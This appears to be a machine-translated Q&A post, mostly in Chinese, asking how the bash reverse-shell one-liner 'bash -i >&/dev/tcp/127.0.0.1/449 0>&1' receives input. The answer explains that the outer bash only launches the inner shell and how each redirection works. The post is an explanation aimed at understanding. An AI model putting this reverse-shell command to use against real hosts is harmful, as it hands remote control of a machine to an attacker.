这个bash如何反转shell接受输入?

How does this bash reverse shell accept input?

我在本地主机上使用 netcat 为端口 449 设置了一个侦听器 运行。

在单独的终端中 运行在本地主机上我可以 运行 以下命令:

bash -c "bash -i >&/dev/tcp/127.0.0.1/449 0>&1"

然后我可以通过 netcat 连接输入命令并且它们成功执行。我可以分解上面的命令,我可以看到上面的 bash shell 将它的 stderr 和 stdout 写入套接字文件描述符,它被发送到我的机器并最终被 netcat 监听.此外,我可以看到标准输入被发送到标准输出,然后由外部 bash 命令执行。

关于这个的几个问题:

  1. 设置 bash 终端接受来自 netcat 的标准输入的机制是什么? stdin 未在命令中的任何位置重定向。
  2. 外层bashshell如何执行内层bashshell多条命令输出?我最初的想法是它只能执行一个命令。

Outer bash 仅启动 inner bash,之后无法接受命令。 所以你可以 运行 直接 inner bash :

bash -i >&/dev/tcp/127.0.0.1/449 0>&1

>&/dev/tcp/127.0.0.1/449 将 stdout 和 stderr 重定向到 TCP 连接。

0>&1 将标准输入重定向到同一连接。